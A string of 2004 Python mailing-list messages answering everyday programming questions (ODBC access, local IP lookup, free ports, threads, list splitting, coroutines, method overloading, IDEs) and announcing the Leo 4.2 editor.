08:45:17 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 29 Sep 2004 08:45:17 -0400 Subject: Support for ODBC for Oracle through Python on solaris In-Reply-To: <1880e162.0409290434.6a3279db@posting.google.com> References: <1880e162.0409290434.6a3279db@posting.google.com> Message-ID: <Ko2dnccQAM7BM8fcRVn-gg@giganews.com> Nagendra wrote: > Is there any support in the python to do this or will i have to resort > to a c/c++ program becuase python for UNIX doesn't support this. > any pointers will be appriciated. look here http://www.egenix.com/files/python/mxODBC.html Istvan. From john at grulic.org.ar Thu Sep 9 19:19:16 2004 From: john at grulic.org.ar (John Lenton) Date: Thu, 9 Sep 2004 20:19:16 -0300 Subject: Best way to get ip address In-Reply-To: <200409091207.55336.bulliver@badcomputer.no-ip.com> References: <200409091207.55336.bulliver@badcomputer.no-ip.com> Message-ID: <20040909231916.GA9380@grulic.org.ar> On Thu, Sep 09, 2004 at 12:07:42PM -0700, Darren Kirby wrote: > Hello list: > > I am writing a small app in python which tracks the kernel banner at > kernel.org and downloads newer kernel version(s) (if there are any). > > I am using GeoIP to set the download to a local mirror if there is one. This > is what I use to get the local IP address: > > ip = socket.gethostbyaddr(socket.gethostname()) > # returns: ('hostname.domain', ['hostname'], ['192.168.0.2']) > ip = str(ip[2]) > # returns: "['192.168.0.2']" > ip = ip[2:-2] > # returns: '192.168.0.2' > > This works fine, but seems a little crufty and convoluted, and usually when > things get crufty it means there is a better way to do it...so is there a > preferred way of obtaining a local IP address? > > Another issue is that if the user is behind a NAT firewall or somesuch and > uses a private network address then the whole GeoIP code is moot. I was > thinking that if this is the case then the app could check for the default > gateway of the machine and use that IP instead, but of course the gateway may > just be another private network IP address. Does anyone have some ideas on > how I could make this code useful with a private IP address? this is more convoluted, and depends on a third party, but I find it's the most reliable way to find out what you seem to be wanting: re.findall('[0-9.]+', urllib.urlopen('http://checkip.dyndns.org/').read())[-1] there are several apps out there that depend on checkip.dyndns.org, and it's a published service, so it shouldn't be changing too often. HTH. -- John Lenton (john at grulic.org.ar) -- Random fortune: You love your home and want it to be beautiful. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/f0e7222b/attachment.sig> From narshe at gmail.com Mon Sep 13 18:12:18 2004 From: narshe at gmail.com (Josh Close) Date: Mon, 13 Sep 2004 17:12:18 -0500 Subject: check for unused ports and then grab one In-Reply-To: <9vhh12-suo.ln1@lairds.us> References: <ci502a$e77$1@solaris.cc.vt.edu> <mailman.3268.1095108346.5135.python-list@python.org> <9vhh12-suo.ln1@lairds.us> Message-ID: <4a0cafe2040913151226db71e1@mail.gmail.com> I believe you should be able to just bind to port 0. Then it will pick up an available one and you won't have to worry about it. -Josh On Mon, 13 Sep 2004 22:08:10 GMT, Cameron Laird <claird at lairds.us> wrote: > In article <mailman.3268.1095108346.5135.python-list at python.org>, > Erik Heneryd <erik at heneryd.com> wrote: > >Brad Tilley wrote: > >> Instead of me arbitrarily assigning a high port number to a variable, is > >> it possible to check for ports that are unused and then randomly assign > >> one of them to a variable? > > > >No. Trial and error until you find one. > . > . > . > Incorrect, if I understand you both; *UNIX Network Programming* > has said for years that > The process can let the system automatically assign > a port. For both the Internet domain and the XNS > domain, specifying a port number of 0 before calling > bind() requests the system to do this. > While I've never tracked down an RFC that specifies this, it surely > exists. > > > -- > http://mail.python.org/mailman/listinfo/python-list > From aleaxit at yahoo.com Tue Sep 7 17:55:19 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 23:55:19 +0200 Subject: Memory Error while constructing Compound Dictionary References: <ccdb2248.0409070947.7f9e94ec@posting.google.com> Message-ID: <1gjroty.tp0ndj1vwu3e7N%aleaxit@yahoo.com> Benjamin Scott <mynewjunkaccount at hotmail.com> wrote: ... > len(Lst)=1000 > len(nuerLst)=250 > len(nuestLst)=500 So you want 1000*250*500 = 125 million dictionaries...? > Specs: > > Python 2.3.4 > XPpro > 4 GB RAM > > > Python was utilizing 2.0 GB when the error was generated. I have So you've found out that a dictionary takes at least (about) 16 bytes even when empty -- not surprising since 16 bytes is typically the least slice of memory the system will allocate at a time. And you've found out that XP so-called pro doesn't let a user program have more than 2GB to itself -- I believe there are slight workarounds for that, as in costly hacks that may let you have 3GB or so, but it's not going to help if you want to put any informatiion in those dictionaries, even a tiny amount of info per dict will easily bump each dict's size to 32 bytes and overwhelm your 32-bit processor's addressing capabilities (I'm assuming you have a 32-bit CPU -- you don't say, but few people use 64-bitters yet). What problem are you really trying to solve? Unless you can splurge into a 64-bit CPU with an adequate OS (e.g., AMD 64 with a Linux for it, or a G5-based Mac) anything requiring SO many gigabytes probably needs a radical rethink of your intended architecture/strategy, and it's hard to give suggestions without knowing what problem you need to solve. Alex From jeff at ccvcorp.com Tue Sep 14 15:45:27 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 14 Sep 2004 12:45:27 -0700 Subject: funcs vs vars in global namespace In-Reply-To: <4IG1d.13$26.5@llslave.llan.ll.mit.edu> References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu> <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <z_B1d.5$26.4@llslave.llan.ll.mit.edu> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> <H2G1d.11$26.2@llslave.llan.ll.mit.edu> <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com> <4IG1d.13$26.5@llslave.llan.ll.mit.edu> Message-ID: <10keif8g5618255@corp.supernews.com> David Rysdam wrote: > Alex Martelli wrote: > >>> sub_module = __import__(which_module_this_time) >>> vars(sub_module).update(which_dict_this_time) >> > > Your "which_dict_this_time" dictionary, how are you imagining that > working? I was just mapping function name strings to functions > ({'logError':logError}), but (long story short) that isn't working how > I want. But shouldn't I be able to define the function right there in > the dictionary itself? Perhaps this would be a bit clearer with more-meaningful names. (Of course, that's presuming that I'm reading Alex's intent correctly... :) ) std_global_dict = { 'logError': logError, ... } script_module = __import__('some_script_module') vars(script_module).update(std_global_dict) This will have the effect of injecting all of the specified names (in std_global_dict) into the scriptlet's module, where they can be used as global variables. (But note that logError(), and other functions put into std_global_dict, will execute in the context in which they were defined -- that is, logError is using its own module's globals, not script_module's globals or std_global_dict.) Jeff Shannon Technician/Programmer Credit International From olivier.parisy at free.fr Fri Sep 17 08:40:07 2004 From: olivier.parisy at free.fr (Olivier Parisy) Date: Fri, 17 Sep 2004 14:40:07 +0200 Subject: (Synchronous) Thread Control Message-ID: <414adb28$0$32714$626a14ce@news.free.fr> Hi, I like to use thread to simplify the handling of independant, blocking tasks. But controling them from a main thread is not always easy to do in a clean way. So I've written some generic code whose purpose is to start and stop threads in a synchronous (blocking) way from the caller's point of view. Hence, after start() is called you are garanteed that the thread is running, and after stop() you know it has completed its tasks. At the end of this message, you'll find an example of the kind of code I'm using. Here is its output : Thread: starting Main: waiting 5 seconds Thread: beating Thread: beating Thread: beating Thread: beating Main: done sleeping, stopping thread Wrapper: joining thread Thread: beating Thread: exiting It seems like the main thread never exits from join(), in spite of the timeout and the likeliness of the sub thread ending. Any idea of what I've done wrong? Best regards, Olivier. import threading, time class IntThread: def start(self): launched = threading.Event() # Initially false self.listener = self.Listener(launched) self.listener.start() launched.wait() def stop(self): self.listener.stop() print "Wrapper: joining thread" self.listener.join(5) # Should be more than enought print "Wrapper: after join()" class Listener(threading.Thread): def __init__(self, event): threading.Thread.__init__(self) self.do_stop = False self.event = event def stop(self): self.do_stop = True def run(self): print "Thread: starting" self.event.set() while not self.do_stop: time.sleep(1) print "Thread: beating" print "Thread: exiting" def test(): thd = IntThread() thd.start() delay = 5 print "Main: waiting %s seconds" % delay time.sleep(delay) print "Main: done sleeping, stopping thread" thd.stop() print "Main: end of program" test() From deetsNOSPAM at web.de Sun Sep 12 12:11:38 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Sun, 12 Sep 2004 18:11:38 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: <pan.2004.09.11.16.21.15.772439@public.srce.hr> <chvb1c$tj6$00$1@news.t-online.com> <pan.2004.09.11.18.06.40.754033@public.srce.hr> <chvf4r$hbj$06$1@news.t-online.com> <pan.2004.09.12.09.53.31.172850@public.srce.hr> <ci1m6v$k4h$02$1@news.t-online.com> <pan.2004.09.12.15.32.14.721863@public.srce.hr> Message-ID: <ci1sfp$gec$01$1@news.t-online.com> > I was wandering is there any way to modify my splitting code I already > posted? The thing I want to implement is that the code would parse e-mail > as usual and when it comes to these problematic spots, it removes > unnecessary quotes and continues parsing... > > Is there anything that could be done? Well, you could certainly code around these special cases - however, it seems to me that whatever generates this mail is malfunctioning. Not on the transport-layer, but from the thing that produces this ---Code?block--- thingy. What is that actually for? It looks as if you try to reinvent the wheel and produce your own encoding scheme for binary data - instead of doing this, I suggest you use one of the several available standards, like uuencode or others. These are covered by standard apis in python as well as in other languages. Better go for them. -- Regards, Diez B. Roggisch From tim.golden at viacom-outdoor.co.uk Tue Sep 7 05:05:31 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Tue, 7 Sep 2004 10:05:31 +0100 Subject: run a python script located on linux from a windows computer Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434A53@iron.ima.umn.edu> | -----Original Message----- | From: toaster at compass-it.ch [mailto:toaster at compass-it.ch] | Sent: 07 September 2004 09:52 | To: Tim Golden | Subject: RE: run a python script located on linux from a windows | computer | | | hello tim | | ok i have a linux box running a 'Camera-Server'. There a several | test-scripts. When i try to run them under linux i got a plenty of | errors. So i want to launch then from the windows box. so i have a | script in /opt/videoserver/testing/myscript.py | | how can i launch this script from my win box? | | thank you | jacques [I've copied your reply back to the list to make sure the conversation remains visible] Someone else has just suggested running a Samba server, which would let you map the linux drive on the Windows box. You'd end up running something like: C:\> python X:\testing\myscript.py Is that what you were after? BTW, what makes you think that running your scripts on a Windows box will make the errors go away? TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From edreamleo at charter.net Fri Sep 24 08:25:33 2004 From: edreamleo at charter.net (Edward K. Ream) Date: Fri, 24 Sep 2004 07:25:33 -0500 Subject: ANN: Leo 4.2 final Message-ID: <10l84i4jtjb24ae@corp.supernews.com> Leo 4.2 Final is now available at http://sourceforge.net/projects/leo/ Highlights ---------- - @thin trees make Leo much more friendly to cvs. - Leo's data structures have been reorganized to make outline operations significantly faster. All old scripts still work. - @test and @script nodes convert scripts to unit tests automatically. You can convert scripts to unit tests in seconds! - A faster and more robust spell checker plugin. (requires Python 2.3) - Leo is now much more friendly to using spaces instead of tabs. - The Execute Script command reports erroneous lines more clearly. - Leo draws large outlines more quickly using less memory. - Dozens of other improvements. Quote of the month ------------------ Leo is the best IDE that I have had the pleasure to use. I have been using it now for about 2 -- 3 months. It has totally changed not only the way that I program, but also the way that I store and organize all of the information that I need for the job that I do. -- Ian Mulvany What is Leo? ------------ - A programmer's editor, an outlining editor and a flexible browser. - A literate programming tool, compatible with noweb and CWEB. - A data organizer and project manager. Leo provides multiple views of projects within a single outline. - Fully scriptable using Python. Leo saves its files in XML format. - Portable. leo.py is 100% pure Python. - Open Software, distributed under the Python License. Leo requires Python 2.2.1 or above and tcl/tk 8.4 or above. Leo works on Linux, Windows and MacOs X. Links: ------ Leo: http://webpages.charter.net/edreamleo/front.html Home: http://sourceforge.net/projects/leo/ Download: http://sourceforge.net/project/showfiles.php?group_id=3458 CVS: http://sourceforge.net/cvs/?group_id=3458 Wiki: http://leo.hd1.org/ Edward K. Ream September 22, 2004 -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: Literate Editor with Outlines Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From ville at spammers.com Wed Sep 15 16:02:42 2004 From: ville at spammers.com (Ville Vainio) Date: 15 Sep 2004 23:02:42 +0300 Subject: On-topic: Ubuntu Linux preview Message-ID: <du7brg78fml.fsf@lehtori.cc.tut.fi> Apparently Ubuntu Linux, by Canonical software (Mark Shuttleworth et. al) has released a preview. Check it out at http://www.ubuntulinux.org/ This is on topic in the sense that it's intended to be the heavily Python oriented distro that Shuttleworth has talked about earlier on. I didn't replace my Sarge yet (this time I'll wait for the release, honest ;-), and it probably won't be very Python-oriented yet, but this is bound to become interesting. All that sh stuff is starting to look obsolete, even if it *is* defendable for historic reasons... -- Ville Vainio http://tinyurl.com/2prnb From fuzzyman at gmail.com Sat Sep 4 14:29:02 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 4 Sep 2004 11:29:02 -0700 Subject: HTTP Authentication and realms Message-ID: <6f402501.0409041029.ff41515@posting.google.com> To be fair this is more a question about http than directly about python... but I'm trying to work with it from python and would appreciate some help. I'm writing a cgiproxy to remotely fetch webpages and am struggling with authentication. From the comments at http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197 I took the code to do basic authentication when a server replies with a 401 error - but that only authenticates the first page. You then need to use 'realm' information and something like urllib2.HTTPPasswordMgrWithDefaultRealm (remembering the username and password for the realm, once you have supplied it). The trouble is that *my* code is a CGI. This means that for each seperate page access the process starts afresh - so I would need to save in an external file the username and password combinations... which is by no means an ideal solution. The bottom line for me is that I don't actually understand what a realm is and how http does authentication beyond the first page access - does it need the username and password encoded in the headers for access to every page in that realm ? Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From webbsoft2 at alltel.net Tue Sep 21 16:27:47 2004 From: webbsoft2 at alltel.net (Jimmie Webb) Date: Tue, 21 Sep 2004 16:27:47 -0400 Subject: New to Python References: <a1ff320f.0409211158.29e6256b@posting.google.com> <ciq1kk$1jf$05$2@news.t-online.com> <YU%3d.179$Xy5.164@fe61.usenetserver.com> <pan.2004.09.21.20.25.53.879679@gmx.net> Message-ID: <l904d.182$Xy5.166@fe61.usenetserver.com> Yes, They look good to me. The nCost Value is 0022.63. but I still get the error ValueError: Invalid literal for float(): EATE TA. What does the 'EATE TA' mean? Thanks! "Marc 'BlackJack' Rintsch" <bj_666 at gmx.net> wrote in message news:pan.2004.09.21.20.25.53.879679 at gmx.net... > In <YU%3d.179$Xy5.164 at fe61.usenetserver.com>, Jimmie Webb wrote: > > > I tried x = float(nCost) but keep getting an error > > > > ValueError: Invalid literal for float(): EATE TA > > Maybe the slice values are just wrong? Have you printed all your > variables after picking them from the string to make sure they contain > what you expect? > > Ciao, > Marc 'BlackJack' Rintsch From moexu13 at gmail.com Mon Sep 13 16:57:09 2004 From: moexu13 at gmail.com (M. Bitner) Date: Mon, 13 Sep 2004 13:57:09 -0700 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <d52c72d2040913132260f78197@mail.gmail.com> References: <864d3709040913131077f1732d@mail.gmail.com> <d52c72d2040913132260f78197@mail.gmail.com> Message-ID: <57c312d304091313573b8a9ff@mail.gmail.com> Have you looked at Komodo? I use it for everything I can and really like it. It has a good editor with syntax highlighting and a debugger (although I think you have to be using ActiveState's Python with the debugger). It's cheap for noncommercial stuff but a commercial license is about $275, I think. The regex tool alone was worth the price for me. http://www.activestate.com/komodo HTH, Melissa On Mon, 13 Sep 2004 15:22:46 -0500, Jaime Wyant <programmer.py at gmail.com> wrote: > On Mon, 13 Sep 2004 17:10:16 -0300, Carlos Ribeiro <carribeiro at gmail.com> wrote: > [ snip! ] > > > > The funny thing is that I don't need anything particularly fancy. A > > good Python editor, syntax coloring, a few helpers (moving blocks & > > stuff). Debugging is good, but it's not what I really miss. Even form > > designers -- I could live without them. What I really miss are stuff > > that I regard as basic: a tabbed editor window for multiple files, and > > a good project manager interface -- a place where I can find all the > > files belonging to my projects without having to move around the > > directory tree whenever I have to do anything. Could I do it using > > only command-line tools? Probably, but it's not comfortable, > > convenient or productive. A good IDE would bring me these three things > > that I'm longing for. > > I use (FWIW) Stani's Python Editor (http://spe.pycs.net/). > > While it is far from perfect, it is very functional and offers: > > o Syntax highlighting > o wxGlade support built in (well, launches wxGlade which comes bundled) > o Module auto-open support > (Put your cursor "into" an imported module name, hit ctrl-enter and > SPE will load it into the editor. Probably not the right technical > name) > o Tabbed edit windows. Each edit window has its own tab, for easy > switching back / forth. > o Todo list. But a comment like "# TODO: do something" and SPE will > add it to the TODO list. > o PyChecker support built in. > o Selection comment / uncomment. Select text and uncomment / comment it. > o Auto completion. It's strange and I don't quite understand it, but > the editor can "guess" at what methods/properties are available for a > class by inspecting the class' code. Also works really well for > built-ins and libraries. > o Module explorer. Shows all classes / functions / imports defined in > the module being edited. > > What SPE doesn't have: > o Built-in debugging support > o Project based configuration. That is files are saved independently > of one another, they aren't grouped as projects. > > I'm sure i've forgot to mentions some of the things that SPE does / > doesn't have. > > HTH, > jw > > > -- > http://mail.python.org/mailman/listinfo/python-list > From groups.google at gnosis.cx Fri Sep 17 14:09:36 2004 From: groups.google at gnosis.cx (David Mertz, Ph.D.) Date: 17 Sep 2004 11:09:36 -0700 Subject: Microthreads without Stackless? References: <mailman.3171.1094844869.5135.python-list@python.org> <18282ecb.0409120634.5ba044ee@posting.google.com> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> <8cf9f521.0409162213.105d321e@posting.google.com> <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> <cieafr$m4b$1@nntp0.reith.bbc.co.uk> Message-ID: <8cf9f521.0409171009.142a3fcd@posting.google.com> Michael Sparks <michaels at rd.bbc.co.uk> wrote in message news: > The real root of the 'problem' "Bryan Olson" is putting forward is the > fact that you can only jump between yield points in simple generators, > which are inherently single level, rather than nested. (ie the > traditional "you can't wrap generators" question) Yeah... I know Bryan thinks that's a problem. Mostly because he doesn't actually know what a coroutine is. But it's true that the scheduled coroutines I present in the mentioned article are always "flat" (hmm... didn't I read somewhere that: "Flat is better than nested"?) But that's actually just what coroutines ARE. Bryan seems to want some kind of hybrid between actual coroutines and a call stack. Which isn't necessarily bad. And is probably something various languages--like Perl 6--do support. It might also be something that your greenlets support. It looks like an interesting project, and I'll have to take a look at it soon, and maybe do an article on them. But I suspect that even there, Bryan won't get everything he wants with his additional constraint that he not have to "change any code." I'm sure Michael gets the distinction, but for other readers, I'll point out that my coroutine schedules probably does require a little reorganization of more traditional call-chain code. For example, you might want to modify traditional program to allow arbitrary switches in flow control using (pseudo-code): def parent(): ....do stuff... child() return def child(): ...do stuff... yield to uncle return to parent def uncle(): ...stuff... yield (back) to child # nephew, I guess That won't work with my generator/coroutines using a scheduler. 'child()' can only yield one level up, not arbitrarily. But you can "flatten" the exact same flow by making it: def parent(): ...do stuff... yield to child return def child(): ...do stuff... yield to uncle yield (back) to parent def uncle(): ...stuff... yield (back) to child This is pseudo-code, of course. But it's not much different from in my article. The point is just the 'child()' can't be *called* from 'parent()', but rather must be *switched* to (via the scheduler, and a yielded "next coroutine"). In terms of what code is executed when, it's exactly the same thing... but there *are* some nominal changes needed in the way you write the code. Yours, David... From eltronic at juno.com Thu Sep 23 15:24:34 2004 From: eltronic at juno.com (eltronic at juno.com) Date: Thu, 23 Sep 2004 15:24:34 -0400 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. Message-ID: <20040923.152435.-200057.1.eltronic@juno.com> On Thu, 23 Sep 2004 09:02:54 -0300 Carlos Ribeiro <carribeiro*@gmail.com> writes: > Appliances also are relevant, as it is seamless networking. > I heed you to check Microsoft's documents on "how Longhorn will be > great" :-) Seriously, they're working hard to create a new paradigm > for the Windows desktop, and some of the things that you talk about > are discussed there too -- namely, they're hiding folders, drive > names, etc, from the user view, and creating a new and much > simplified > user interface. Google is known to be working on something similar cleaner interface, removing background noise such as file extensions? has nobody learned anything from the last 10 years of virus introduction by user apathy to look at file extensions. now they want to remove all incentive? you can bet the impetus isn't entirely user driven. after beating up their customers over the head with default settings that allow hijacking, Microsoft with its new found security perspective decree that the default, more secure settings are only a few updates away. I think they just didn't want the customer service nightmare of explaining how to allow legitimate use of various programs. you would think the liability of guaranteeing that in the case of an attack you would have no chance to avoid by using defaults. but I guess the word hasn't filtered up to management that everyone up ad down the chain has been asleep at the wheel for oh so many years. they have a charmed life. job security, but at what price in loss of data and privacy. do we casually brush off the thousands of man hours lost updating and repairing systems as cost of business? lost data and downtime may just be too hard to quantify. > -- > your computer will be just a big Google-indexed repository of > information. No more trying to file things into folders, Google > will > categorize and locate things back for you in a snap. > the exploration of new technology along these lines can only be good in the long run. getting there, based on past performance and conflict of interest we should expect the real intentions to be less than obvious. and the tradeoffs not to be clearly understood by the ultimate consumers of the service. the buzzwords change but the problems will remain. robots.txt shouldn't be the only thing protecting your data. common sense tells you that others shoulden't be able to search for credit card information, passwords and private emails. yet it happens and will continue at a faster clip. > A project of this size is really big and ambitious. of course security and usability aren't mutually exclusive. as long as we have custom install, classic interface and expert mode. e please forward all spam to uce at ftc.gov ________________________________________________________________ Get your name as your email address. Includes spam protection, 1GB storage, no ads and more Only $1.99/ month - visit http://www.mysite.com/name today! From duncan.booth at invalid.invalid Wed Sep 8 08:01:44 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 8 Sep 2004 12:01:44 GMT Subject: A historical question References: <chmphe$21tc$1@ulysses.noc.ntua.gr> Message-ID: <Xns955E8441C8304duncanrcpcouk@127.0.0.1> Jerald <jfj at freemail.gr> wrote in news:chmphe$21tc$1 at ulysses.noc.ntua.gr: > Hi. > > I'd like to know when python started working with bytecode. > It seems natural that in the first python implementations > code was really interpreted : executed directly. > > As a result, in the first days, when the py-programmer > said: > > def foo (): > print 'foo' > > python stored the function body and executed it each time > foo was called. In some time it was decided to compile > this to bytecode, optimize it and call the bytecode instead. > > Is it so? According to Google, in April 1994 Guido posted complaining about some of the inefficiencies in the bytecode interpreter: http://groups.google.co.uk/groups?selm=9404120719.AA03729%3Dguido%40voorn.cwi.nl I doubt very much whether there has ever been any implemention of Python that didn't use a bytecode of some form. It would be a very perverse way to try to write a language. From __peter__ at web.de Mon Sep 6 17:24:17 2004 From: __peter__ at web.de (Peter Otten) Date: Mon, 06 Sep 2004 23:24:17 +0200 Subject: turning callback into generator References: <opsdw5rbaz433nmu@news.cisco.com> Message-ID: <chiki1$h3e$04$1@news.t-online.com> Wai Yip Tung wrote: > I'm attempting to turn some process than uses callback to return result > into a more user friendly generator. I'm hitting some road block so any > pointer would be appriciated. I asked the same question a while back and there were no satisfying suggestions. http://mail.python.org/pipermail/python-list/2003-December/197726.html At the very least you need threads, and when the generator is not fully exhausted it's easy to end up with a thread waiting forever. I finally dropped the idea, but if you are really determined and want to hack something together, the following might (or might not, this is really a shot in the dark) serve as a starting point: http://mail.python.org/pipermail/python-list/2003-July/173872.html Peter From carribeiro at gmail.com Mon Sep 27 17:44:54 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 27 Sep 2004 18:44:54 -0300 Subject: Metaclass with name overloading. In-Reply-To: <ekkntnkx.fsf@telus.net> References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> <mailman.3973.1096311322.5135.python-list@python.org> <ekkntnkx.fsf@telus.net> Message-ID: <864d3709040927144460cb7327@mail.gmail.com> On Mon, 27 Sep 2004 21:23:14 GMT, Lenard Lindstrom <len-1 at telus.net> wrote: > Carlos Ribeiro <carribeiro at gmail.com> writes: > > <sample code snip> > > The problem is that the methods were not bound to the instance. Adding > > individual names to each method won't work, because it'll not bind the > > references stored in the overload_list. I thought about using a > > closure or curry type of solution, but that's something that I still > > don't understand very well. Any tips? > > > Here is my take on decorator overloaded. I implement OverloadedFunction > as a descriptor. It supports method binding. That's what I was missing. I've read about descriptors last week, but didn't had the time to get a hand at it. It's interesting. My development machine is still using 2.3 -- I don't know if this descriptor fancy stuff would work here... *btw, that's why my original snippet didn't use the new syntax to call the decorator). I think that this code is now Cookbook-ready. Any comments? > import sys > > class OverloadedFunction(object): > class BoundMethod: > def __init__(self, functions, instance, owner): > self.bm_functions = functions > self.bm_instance = instance > self.bm_owner = owner > def __getitem__(self, index): > return self.bm_functions[index].__get__(self.bm_instance, > self.bm_owner) > def __init__(self): > self.of_functions = [] > def addFunction(self, func): > self.of_functions.append(func) > def __get__(self, instance, owner): > return self.BoundMethod(self.of_functions, > instance, > owner) > > def overloaded(func): > try: > olf = sys._getframe(1).f_locals[func.__name__] > except KeyError: > olf = OverloadedFunction() > olf.addFunction(func) > return olf > > # Test case: > class blob: > def __init__(self, member): > self.member = member > @overloaded > def f(self): > return "f 0: member=%s" % self.member > @overloaded > def f(self, s): > return "f 1: member=%s, s=%s" % (self.member, s) > > b=blob("XXX") > print b.f[0]() > print b.f[1]("Yet another f") > > ---- Output --- > > f 0: member=XXX > f 1: member=XXX, s=Yet another f > > > Lenard Lindstrom > <len-l at telus.net> -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From pmaupin at speakeasy.net Fri Sep 17 23:43:23 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 17 Sep 2004 20:43:23 -0700 Subject: Microthreads without Stackless? References: <mailman.3171.1094844869.5135.python-list@python.org> <18282ecb.0409120634.5ba044ee@posting.google.com> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> <8cf9f521.0409162213.105d321e@posting.google.com> <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> <cieafr$m4b$1@nntp0.reith.bbc.co.uk> <8cf9f521.0409171009.142a3fcd@posting.google.com> Message-ID: <653b7547.0409171943.7fa21977@posting.google.com> > But that's actually just what coroutines ARE. Bryan seems to want > some kind of hybrid between actual coroutines and a call stack. Which > isn't necessarily bad. And is probably something various > languages--like Perl 6--do support. All the coroutine packages I've ever used (e.g. built-in to Modula-2, add-ons for C, stuff I've built myself in assembly language, etc.): a) Give each coroutine its own stack; and b) allow inter-couroutine calls to be made from anywhere on this stack This paradigm is quite natural with legacy stack-oriented languages. If you were to return from a function (e.g. similar to a python 'yield') using regular 'C' you would have to copy the local variables off the stack somewhere during the yield processing, which could add a lot of overhead. Instead of doing this, you _call_ a function to perform a yield, and your local variables remain on your stack. Once this paradigm is in place, the ability to call the yield function from within a sub-function is natural and free (except for the extra memory for a stack). If you have to be at the top level to effect a switch out of one coroutine into another, you have to organize your state and variables such that it's probably not too much extra work to go one more step and dispense with coroutines altogether. I don't know what the "official definition" of coroutines is, or even who the keeper of that definition would be, but my working mental model of (and prior experience with) coroutines in the real world includes a stack for each coroutine. I admit that Knuth's coroutine examples don't admit a stack, but then, neither do his subroutine examples! Regards, Pat From aleaxit at yahoo.com Wed Sep 1 03:32:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 09:32:30 +0200 Subject: Splitting a list References: <mailman.2673.1093960462.5135.python-list@python.org> Message-ID: <1gjeld6.18wd6oozbdcumN%aleaxit@yahoo.com> Ian Sparks <Ian.Sparks at etrials.com> wrote: > string.split() is very useful, but what if I want to split a list of integers on some element value? > > e.g. : > > >> l = [1,2,3,-1,4,5,-1,8,9] > >> l.split(-1) > >> [[1,2,3],[4,5],[8,9]] > > Here's my hideous first pass : > > >> [[int(z) for z in x.split(',') if z] for x in ','.join([str(a) for a in l]).split('-1')] > >> [[1, 2, 3], [4, 5], [8, 9]] > > When I see code like that I just know I've missed something obvious.... I think a simple generator might serve you well: def isplit(seq, separator): result = [] for item in seq: if item == separator: yield result result = [] else: result.append(item) yield result example use: >>> list(isplit([1,2,3,-1,4,5,-1,8,9], -1)) [[1, 2, 3], [4, 5], [8, 9]] Note that, the way isplit is coded, seq can be any iterable, not just a list. You may not need this little extra generality, but it can't hurt... Alex From quaggy at gmail.com Tue Sep 14 20:15:36 2004 From: quaggy at gmail.com (Jonathan Wright) Date: 14 Sep 2004 17:15:36 -0700 Subject: Is this a bug in the windows tempfile.py? Message-ID: <ci81j8$mf@odak26.prod.google.com> import tempfile import types print isinstance(tempfile.TemporaryFile(), types.FileType) Prints False on Windows and True on linux or any other posix system. The reason for the difference is on posix systems TemporaryFile returns an actual file (the result of os.fdopen()) and on windows, TemporaryFile returns a file wrapper which forwards getattr calls to the underlying file. The wrapper used on windows provides an alternative close method that deletes the temporary file. Should the wrapper inherit types.FileType? Jonathan. From smcg4191 at frii.RimoovThisToReply.com Sun Sep 19 22:29:51 2004 From: smcg4191 at frii.RimoovThisToReply.com (Stuart McGraw) Date: Sun, 19 Sep 2004 20:29:51 -0600 Subject: bad data from urllib when run from MS .bat file References: <414cb56d$0$58900$75868355@news.frii.net> <87acvmxayq.fsf@pobox.com> Message-ID: <414e40a1$0$58900$75868355@news.frii.net> "John J. Lee" <jjl at pobox.com> wrote in message news:87acvmxayq.fsf at pobox.com... > "Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> writes: > [...] > > So it looks like some bad mojo between urllib and the Windows > > batch environment. > > Just a guess, without actually bothering to think about the numerology > in detail: > > test.bat: > ---------------- > python -u test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1 > ---------------- > > Note the -u switch (for 'unbuffered', but also 'um, binary mode' > <wink>). Did you try doing that? Did it work for you? I just tried here, and still have the same problem. Even worse, in the original script that the test script is derived from I encountered a new problem. 